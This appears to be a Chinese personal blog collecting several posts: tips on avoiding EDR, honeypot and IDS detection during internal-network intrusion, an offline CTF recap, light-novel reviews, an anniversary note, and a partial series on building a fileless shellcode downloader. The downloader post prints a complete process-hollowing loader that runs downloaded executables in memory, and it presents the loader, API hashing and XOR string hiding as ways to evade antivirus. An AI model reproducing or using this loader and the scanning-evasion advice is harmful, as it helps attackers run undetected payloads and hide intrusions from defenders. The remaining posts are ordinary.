近况

快毕业了,写论文中,烦躁,没时间更新。

Tags: none

总结下内网应对edr和蜜罐或者ids的没用小经验

总结

不要爆破!不要爆破!不要爆破!

不要顺序扫描!不要顺序扫描!不要顺序扫描!

尽量不要跨段操作!不要跨段操作!不要跨段操作!

接下来就全看听天由命了。

原因

爆破必死,不用多说。

在不知道edr或者蜜罐地址的时候,尽量单端口扫描,选择奇数偶数混合段的IP顺序扫描,不要对着一个目标顺序1-65535。

不要随意跨网段扫描,因为有些IDS会审查网关流量。

以上就是目前在遇到的情况,当然因为我日的少,肯定还有很多设备没涵盖到,或者是有些特别nb的设备以上几个方法都能审查到,那就没什么办法了。其他的遇到了解决方案的话再写吧。

Tags: 内网, 流量对抗

线下摸鱼

前言

这次去线下,很累,但也很好玩,同时也是没发挥好的一局。

说来惭愧其实是被省里安排进线下的。因为无论是线上线下都是一个人打。。然后线上距离进线下还有一定距离。

原本然后想着算了就划水了,连wp都懒得交。结果因为是本地政府办的,所以特地安排了个“本地代表队”。

然后就愉快的进去划水了。
photo_2021-04-17_23-21-32.jpg

经过

和预期的不同,这次比赛是打靶场的形式。并不是AWD形式,这是开打之前我才知道的。甚至在比赛之前一晚的讨论都是关于AWD的,
详情可以看

靶场还是比预期的熟悉很多,上来分为7个资产和一堆其余的小资产,都在两个/24段中,之后你需要收集这些资产,打下这些站点,就和现实中有点类似,不过简化了内网渗透的流程。特别是域渗透啊钓鱼啊这方面都省去了。不过总体来说还是十分的好玩的。

有幸混了个首杀1血,直接拿tp洞打的。那些非资产的那些东西,是允许搅屎的。打完上去把shell或者漏洞点改了之后别人就登不进去了,所以基本就是比个拼手速的过程。

我也是在每个点打过去之后才知道。一个人手动慢慢每个访问过去,把所有资产理清楚之后,站点也基本被其他人打完了。

还有就是,他这个没办法反弹到我们的攻击机系统,然后冰蝎那个正向shell和rege那啥的正向反弹shell代理实在是tmd不能用,下次我一定tmd要整个web组件让cs可以网页正向上线,淦。导致内网机器压根没打。

甚至被搅屎到,我还要靠着爆破别人的webshell才能上车。因为有个组件是phpstudy部署的。然鹅我第一次用xray没扫到。。甚至赛组给了提示之后我每次都用各种exp尝试都失败,这时候你无法知道到底是你的方式有问题还是靶机有问题,不敢去找裁判。

导致最后才根据别人的车上了这个环境。

一个人打是真的太难太累了。很多都没发挥出来,甚至不如和群友打的1/10的水平。最后由于实在太菜,只摸到了个这个
photo_2021-04-18_00-49-41.jpg
(不是俺的手)

题外话

不过好处是面到了一个很早以前认识的师傅。认识的时候都不敢讲话,俺害羞。

最后还收到了Canarypwn 托同学带的明信片,真的是太太太太感谢辣

photo_2021-04-18_00-51-39.jpg

拖着保肝16小时的身躯写完了这个,不行了太困了睡啦

Tags: ctf, 线下

河野裕《昨日寻找星星的借口》 && 三秋縋《三日间的幸福》 读后感

起因

今天再顺着课闲得无聊把《三日间的幸福》给看了,之前就看过三秋縋老贼的书那年夏天xxxxxx电话系列的书,看完了这一本不如说老贼的套路一如寻常。而且正好周末了,我现在也正好想摸鱼,就顺带写写一些这些的感想吧。

先说河野裕的《昨日寻找星星的借口》

观前提醒,全文非常主观,作者视野狭义,文笔垃圾。如有任何不同意见已您的为准。

同时为了不剧透,推荐看完后再看以下的感想

昨日寻找星星的借口

2935s.jpg

那时,我曾恋慕着她。 如果说这句话里有什么谎言,也就是我用了过去时罢了。
升学到全寄宿制初高中一体校后,坂口孝文与茅森良子成了同学。茅森天生有一双绿色的眼睛,在这个表面上已经不会因眼睛的颜色而产生歧视的国家,她立志成为首相,想创造真正平等的社会。与坂口变得亲近后,茅森对他说出了自己的秘密。茅森会成为图书委员,是为了寻找电影导演——清寺时生的珍稀剧本《海豚之歌》。

看之前我还没注意到这是《重启咲良田》的作者,只是看着封面和简介有点意思就打开了。毕竟上课时间太无聊了只想随手看一些短篇作品。看着这简介我可能感觉这是“哦,又是一本轻文学”,看完之后,有一点难懂,但是又感觉也就普通的“就这?”。

书里塑造了两个阶级“黑眼睛”和“绿眼睛”,黑眼睛占大多数,绿眼睛则受到了各种原因的压迫。

其中男主是黑眼睛,女主是绿眼睛。然后女主想创造一个不平等的世界,但是实际上是想寻找自己妈妈参演的一部作品《海豚之歌》,原因是收到这本书的内容所打动。

然后某种原因男女主相识相遇发生一系列故事然后离别然后重逢。
7148I3vmq4L.jpg

从这就可以看出来,这是一个关于打着恋爱旗号的思潮对抗的题材。这本书在我看来就是每个人都散发着自己的正义,然后互相伤害,然后互相和解的事情。

用正论抒发自己的正义,配合轻文学优美辞藻以及细腻的人物刻画,初看可能会觉得这本书很高大上,然而认真理解玩内容可能具体含义也就那样。

全文看似围绕着“平等”两个字展开,如果说这个小说是一本议论文,那么“平等”就是这个小说的论题,然而这篇议论文,却在小说最后离题了。

剧情总体高潮点在于三个地方,一个是从友人生体缺陷,还有一个是黑眼睛的压迫和绿眼睛的反抗,最后是男女主两个人独立的思潮对抗。

前面两点对于我们来说看的似乎可以算是有点浅显了,因为书中的所谓”反抗“的做法在我个人认为程度算是小孩过家家。毕竟我们曾经可是真的推翻过三座大山的民族。书里的做法不说革 命,甚至连修正主义都算不上。

既然抛出了“公平”这一论题,那么最后有解决吗?实际上并没有,这么长公平的铺垫,不过是最后为了《海豚之歌》这一意象所展开。《海豚之歌》是讲述着一个没有压迫,大家都是绝对公平的世界。女主就是追求着这样的世界,然而因为各种原因女主没有看到结局。男主和女主用自己理想所创造的伪物《海豚之歌》遇到了现实中的一把无情的尖刀:真实《海豚之歌》的结局是个Bad End。

然而,其实全文的重点不在于公平,作者主要想表达的是善意的"歧视"是否也算一种不公平,女主养父因为女主的眼睛问题怕女主受到歧视,而选择带有善意的“歧视”不让女主去那所学校,而老师因为基友身体的原因,试图修改原本顶下的路程为好走的路。

当然最后女主和基友都成功防抗过了。女主最后进了学校并如愿以偿的站在了顶点,而基友靠着自己的意志走完了全程。这是前两个矛盾点。每个人都抒发了自己的正义,然后每个人都为自己的正义而战,看起来确实挺不错?

最后一个矛盾点,是在于男主发现海豚之歌的结局。想的是保护女主不破坏女主的希望,而女主是想只要我们两在一起无论什么我们都能解决。最后两人决裂然后再过许久重逢。

看到问题了吧,不仅“平等”这一个问题根本就没得到解决。甚至处理都没有,一切都只是为了男女主的冲突引发的高潮而出现的。甚至最后男主和女主的对立面的矛盾点,和前面两个矛盾点有点实在有点强差人意。之前带有善意的“歧视”是因为客观上的身体原因。而男主为什么就不能单纯以心疼的角度而言来诠释自己的不告诉女主的行为?这是否又和公平有关系?

前期铺垫了许多海豚之歌的内容,然而最后高潮的缺不在于海豚之歌,海豚之歌完全沦为了工具人

前期看似高大上的思想,不同之间的思潮对抗,冲突,似乎瞬间都消失了一般。成为了男女主感情抒发的垫脚石。所以我才觉得这本书“就这?”

当然我也不是觉得这样不好,因为这些命题就等于大学生辩论赛的论题一样没有人是错的,强行得出结论反而会被说成观点狭义。又或者说作者认为在女主打破规矩成为学生会长之后就代表绿眼睛已经成功反抗了压迫了?

最后不只对于中间“公平”的定义没有讲完整。就连最后恋爱的结局也是给我们一个开放式的Happy End,为什么说是开放式Happy End呢?因为最后boy 确实meets girls again了,但是实际上发的糖也不多,基本就是尾声中一两句的级别,过于生硬。

总体而言,就是一本将着大道理实际上还是普通谈恋爱的小说。看似精美,实际上也就这样。不过作为一个普通的短篇还算不错。也不用指望它能讲啥大道理。就是普普通通的“就这?”

以上,是作为正常文学来评价该书的内容。那么作为一本轻小说呢?

作为轻小说而言,它还是合格的。毕竟对于轻小说来说,以上的缺点都不用在意,因为那不是作为轻小说该有的职责。

单单从人物细腻的刻画,和合理并不突兀的剧情来讲,这本小说就已经是一本非常不错的轻小说了。

反正如果出港版或者台版我是会考虑入手的。

《三日间的幸福》

311978700000.jpg
这本书和上面那本相比,槽点就没那么多了
这书和之前河野裕的那本不太一样在于,这本书是爱情作为主线,其他关于人生的意义这些宏大的念头反倒是本书的支线。。和上次说的《昨日寻找星星的借口》的不同点大概就在这里。
这种模式我倒是比较喜欢,毕竟动辄人生意义社会伦理什么的对我来说太过遥远了。。并且我也不是什么文学少年,对我这种直男大脑来说可能太过复杂。

总之,《三日间的幸福》从架构上来说是我喜欢的,短小精简唯美,相比于长篇连载,我一直都挺喜欢这种短小精美的短篇风格,当然更主要的原因是因为只有一本好搜集全,钱包也好说,同时我也有耐心看得下去。

虽说如此,然而依旧是三秋縋老贼一贯的套路。抛开了给出的命题之外。三秋縋的套路就十分浅显易懂了。戏剧性的“虐”再给出一个略微“突出”的结尾。不是说这个不行,但是主要是“虐”的太套路化了。难以形成共鸣。

为了戏剧小说,三秋縋可以说算得上是从各种方面虐过一遍,甚至还要拉出青梅虐一下来推动下剧情。

虽然我知道大部分程度是把“虐”作为包装小说的情节发展的必需品,但是长久这样下来还是会审美疲劳。

除了这个槽点之外,还有一个槽点就是情感铺垫略少进度太快了。。不过这个对于短篇小说来说这个缺点就完全是可有可无的。

总的观感就是这样了。实体已入。而且看样子台版有可能也快绝版的样子。

如果不看老贼其他系列,单看这一本,不得不说它确实算得上是一个包装精美的“艺术品”。而且还是我挺喜欢的那种“艺术品”

other

说带说一下,《三日间的幸福》这种结局我还是挺喜欢的,相比《昨日寻找星星的借口》这样在高潮中结束。和《少女终末旅行》《妹妹人生》结局差不多,在黑暗中散唯一一只萤火虫努力的闪耀光芒,最后燃尽死去的感觉差不多。就像舞台剧一样,在璀璨过后安静被人遗忘的落幕并给予我们遐想的空间。

这么看来我还确实是挺喜欢这类作品的。不知道还有没有类似的作品摩多摩多

Tags: 轻小说, 轻文学, 文学鳖?

博客六周年辣

前言 & about me

从当初无忧无虑的中二少年,到现在逐步快要跨入社会的二逼青年。没想到这个站点竟然陪了我六年之久。

感觉对时间的给概念变得愈来愈模糊了。从以前的 “时间啊,请过的快一些流逝吧”,到现在,一转眼间,去年今日之事仿佛就在昨日。

可以很明显感觉到时间流逝的速度有两个档口,一个是08年之后,这个是对于社会的变化,因为全中国直接步入信息社会,我们每天接受的信息密度呈几何倍增长,所以网络上都觉得从那之后,时间变快了。

还有一个档口,是对于我自己的。可以说是从18年高考的时候吧。原因我就懒得打了,不是什么不好开口的东西只是单纯因为懒。

愈发愈觉得自己菜,十分的fw。但是又觉得这样菜也不是什么坏事,因为没有什么好比较的。反正又不是没有上进心去学习,做好自己就行。尽自己最大努力吧。

天塌下来了有高个子顶着

不过我还是得努力学习,立刻目标是争取能自己养活自己

第二目标是希望在上面的基础上找的是自己喜欢的工作。

about 博客

和以前的情况不通,以前是怎么挤都挤不出内容只好谈天说地聊各种奇怪的东西。

现在肚子里确实有一些东西。不过都是不太好发出来的东西。

只能随手发一些不那么敏感的东西。

当然更大原因是因为懒。毕竟要发文章还是得需要准备的。

总之就这么多了。感谢大家的支持。虽然不知道还有没有人看这个无聊的站点就是了。

Tags: 周年

无文件下载者计划 & 连载

前言 & 挖坑

项目地址:9bie / RmExecute

最近流行文件不落地,然后因为jio本又被杀的多了,辣么有什么办法快速弄出不落地免杀效果又好的东西呢?

对没错就整个shellcode的payload吧,可以用某种 “伪” 方法把一些exe弄成不落地and shellcode得到形式。

目前设想有直接用VS2017,弄个下载者的payload,调用win32 API,然后下载DLL/EXE,直接内存加载。

这样虽然不是严格意义上的payload,但是这是最简单的方法

或者使用反射DLL方法,直接在内存中展开。这就是比较主流and常规的用法了。不过直接payload整反射DLL似乎有点难。

按照我这破水平,估计就是先远程下载内存加载反射DLL的DLL然后再由反射DLL去下载DLL payload再反射加载。

emmm怎么感觉有点饶,不过应该就这样吧。

研究资料

开始

首先,这次我们不从0开始写shellcoded了。直接整个shellcode框架。这里我们使用上面第二个链接的RcDllShelcode作为开头项目,因为这个框架比较简单(我看得懂,顺带强烈推荐这个作者的文章

用C++撰写shellcode.doc

分析的十分好,简明直观的点出了然而初步检查下来之后发现,这个作者的api实现部分是直接使用字符串来定位api地址。这会导致shellcode变得十分容易分析。

这时候我们就可以参考别的项目文件

这里我参考了PIC_Bindshell 这个项目,写的也很好,然而我已经使用上面那个项目作为入口了,就还是继续用上面那个吧。这个项目的API项目和我之前那个方法差不多,只不过别人的更加优雅,人家是PEB找getprocxxxx那个api之后,直接计算hash就能得出函数在文件中的地址,之后就可以直接调用了。。当然缺点也有,就是得自己预先硬编码一个hash表,略微的麻烦,但是也至少比直接字符串搜索api地址比较好。

相关原理在这里:详解Windows API Hashing技术

PIC_Bindshell使用的是RORT32加密hash,但是人家作者给出了计算脚本,省去了我们去编写的麻烦。直接脱下来使用。

hash.png

之后就是开始计算我们第一阶段需要的WINAPI了。

基础的有msvcrt所需的几个常用功能,memcpy,memset,malloc,free这些,之后就是WinHttpOpen,WinHttpOpenRequest这些函数,全部加入我们所需的hashmaping里,很轻松的我们就有如下

hash2.png

之后,我们首先先整个下载功能

下载功能

同上,故技重施

winhttp.png

之后就是一系列黑魔法调用winapi。。。总而言之。。我们成功的完成了下载功能。

内存运行

之后,我们当然就是直接借鉴(抄)一份,内存运行的代码啦。

直接贴上代码

bool RunPortableExecutable()
{
    
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase = NULL;; //Base address of the image
    void* pImageBase = NULL;; // Pointer to the image base

    char CurrentFilePath[MAX_PATH];

    DOSHeader = PIMAGE_DOS_HEADER(newbuff); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(newbuff) + DOSHeader->e_lfanew); // Initialize

    fn.fnGetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    {
        //ZeroMemory(&PI, sizeof(PI)); // Null the memory
        //ZeroMemory(&SI, sizeof(SI)); // Null the memory
        fn.fnmemset(&PI, 0, sizeof(PI));
        fn.fnmemset(&SI, 0, sizeof(SI));
        if (fn.fnCreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) //make process in suspended state, for the new image.                                                                                      
        {
            // Allocate memory for the context.
            CTX = LPCONTEXT(fn.fnVirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

            if (fn.fnGetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
            {
                // Read instructions
                fn.fnReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
                pImageBase = fn.fnVirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

                //fix randomly crash
                if (pImageBase == 0) {
                    fn.fnResumeThread(PI.hThread);
                    return 1;
                }
                else {
                    // Write the image to the process
                    fn.fnWriteProcessMemory(PI.hProcess, pImageBase, newbuff, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
                    for (int count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
                    {
                        SectionHeader = PIMAGE_SECTION_HEADER(DWORD(newbuff) + DOSHeader->e_lfanew + 248 + (count * 40));
                        fn.fnWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(newbuff) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                    }
                    fn.fnWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

                    // Move address of entry point to the eax register
                    CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                    fn.fnSetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
                    fn.fnResumeThread(PI.hThread); //?Start the process/call main()
                }

                return true; // Operation was successful.
            }
        }
    }
    return false;
}

怎么说,效果拔群

photo_2021-02-22_17-09-53.jpg

特地选了个比较古老并且特征比较明显的试了下某数字,完全无弹窗也无响应(当然和我没有写启动有很大的关系。

至此,咱们首要的目标就这么完成啦!

进阶 - payload加密

虽说我们的API使用了winapi hashing技术,然而再查找地址前的loadlibrary中引用的那些DLL名称以及我们url地址我们也都没有进行加密,比较推荐的是XOR加密,base64加密也不是不可以,但是base64的硬编码了一个base64表特征也十分明显,当然也可以打乱base64表增加逆向难度。。。然而CTF考过多少次了应该没有人解不开打乱b64表之后的内容不会吧不会吧不会吧?

XOR比起base64,短小高效,虽然对着明眼人可能一眼就看出来是XOR加密,但是在本来就短小的shellcode中比起一整个base64表,xor已经是十分小巧且可以接受的,我才不会说是我懒得写base64呢。

进阶2 - 反射DLL

虽然说我们已经完成了内存加载并且成功的免杀无弹窗上线了,然而在下发可执行文件的时候,一下下发一整个文件过去,可能会有大量的代码我们是暂时用不到的,并且这样可能增大了被dump分析的风险。

那么我们有没有办法,再想要的时候,获取到这部分代码片段,再下载执行呢?

有两个办法,一个是把功能全部shellcode片段化,让每个功能都成为shellcode,这样太奢侈也太麻烦了。(俺觉得就算是APT也不会这样搞)。所以另外一个技术诞生了。

那就是反射DLL执行,原理和内存执行exe差不多,只不过我们是把DLL精简成"最小PE"的模式,之后把这部分dump下来,手动修补再RVA展开执行。

//未完待续

Tags: 汇编,